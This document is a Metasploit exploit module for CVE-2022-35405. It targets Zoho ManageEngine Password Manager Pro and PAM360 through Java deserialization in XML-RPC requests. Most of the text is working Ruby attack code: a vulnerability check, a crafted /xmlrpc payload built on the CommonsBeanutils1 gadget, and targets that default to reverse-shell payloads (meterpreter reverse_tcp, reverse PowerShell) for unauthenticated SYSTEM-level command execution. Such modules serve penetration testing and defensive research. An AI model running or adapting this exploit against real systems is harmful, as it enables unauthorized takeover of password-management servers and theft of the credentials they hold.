Authored by Grant Willcox, Y4er, Vinicius | Site metasploit.com

This Metasploit module exploits a Java deserialization vulnerability in Zoho ManageEngine Pro before 12101 and PAM360 before 5510. Unauthenticated attackers can send a crafted XML-RPC request containing malicious serialized data to /xmlrpc to gain remote command execution as the SYSTEM user.

advisories | CVE-2022-35405

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::JavaDeserialization

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Zoho Password Manager Pro XML-RPC Java Deserialization',
'Description' => %q{
This module exploits a Java deserialization vulnerability in Zoho ManageEngine Pro
before 12101 and PAM360 before 5510. Unauthenticated attackers can send a
crafted XML-RPC request containing malicious serialized data to /xmlrpc to
gain RCE as the SYSTEM user.
},
'Author' => [
'Vinicius', # Discovery
'Y4er', # Writeup
'Grant Willcox' # Exploit
],
'References' => [
['CVE', '2022-35405'],
['URL', 'https://xz.aliyun.com/t/11578'], # Writeup
['URL', 'https://www.manageengine.com/products/passwordmanagerpro/advisory/cve-2022-35405.html'], # Advisory
['URL', 'https://archives2.manageengine.com/passwordmanagerpro/12101/ManageEngine_PasswordManager_Pro_12100_to_12101.ppm'] # The patch.
],
'DisclosureDate' => '2022-06-24', # Vendor release date of patch and new installer, as advisory lacks any date.
'License' => MSF_LICENSE,
'Platform' => ['win'],
'Arch' => [ARCH_CMD, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Windows EXE Dropper',
{
'Arch' => ARCH_X64,
'Type' => :windows_dropper,
'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' }
}
],
[
'Windows Command',
{
'Arch' => ARCH_CMD,
'Type' => :windows_command,
'Space' => 3000,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' }
}
],
[
'Windows Powershell',
{
'Arch' => ARCH_X64,
'Type' => :windows_powershell,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell/x64/meterpreter/reverse_tcp' }
}
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
Opt::RPORT(7272),
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def check
# Send an empty serialized object
res = send_request_xmlrpc('')

unless res
return CheckCode::Unknown('Target did not respond to check.')
end

if res.body.include?('Failed to read result object: null')
return CheckCode::Vulnerable('Target can deserialize arbitrary data.')
end

CheckCode::Safe('Target cannot deserialize arbitrary data.')
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :windows_command
execute_command(payload.encoded)
when :windows_dropper
cmd_target = targets.select { |target| target['Type'] == :windows_command }.first
execute_cmdstager({ linemax: cmd_target.opts['Space'] })
when :windows_powershell
execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true))
end
end

def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")

res = send_request_xmlrpc(
generate_java_deserialization_for_command('CommonsBeanutils1', 'cmd', cmd)
)

unless res && res.code == 200
fail_with(Failure::UnexpectedReply, "Failed to execute command: #{cmd}")
end

print_good("Successfully executed command: #{cmd}")
end

def send_request_xmlrpc(data)
# http://xmlrpc.com/
# https://ws.apache.org/xmlrpc/
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/xmlrpc'),
'ctype' => 'text/xml',
'data' => <<~XML
<?xml version="1.0"?>
<methodCall>
<methodName>#{rand_text_alphanumeric(8..42)}</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>#{rand_text_alphanumeric(8..42)}</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">#{Rex::Text.encode_base64(data)}</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
XML
)
end

end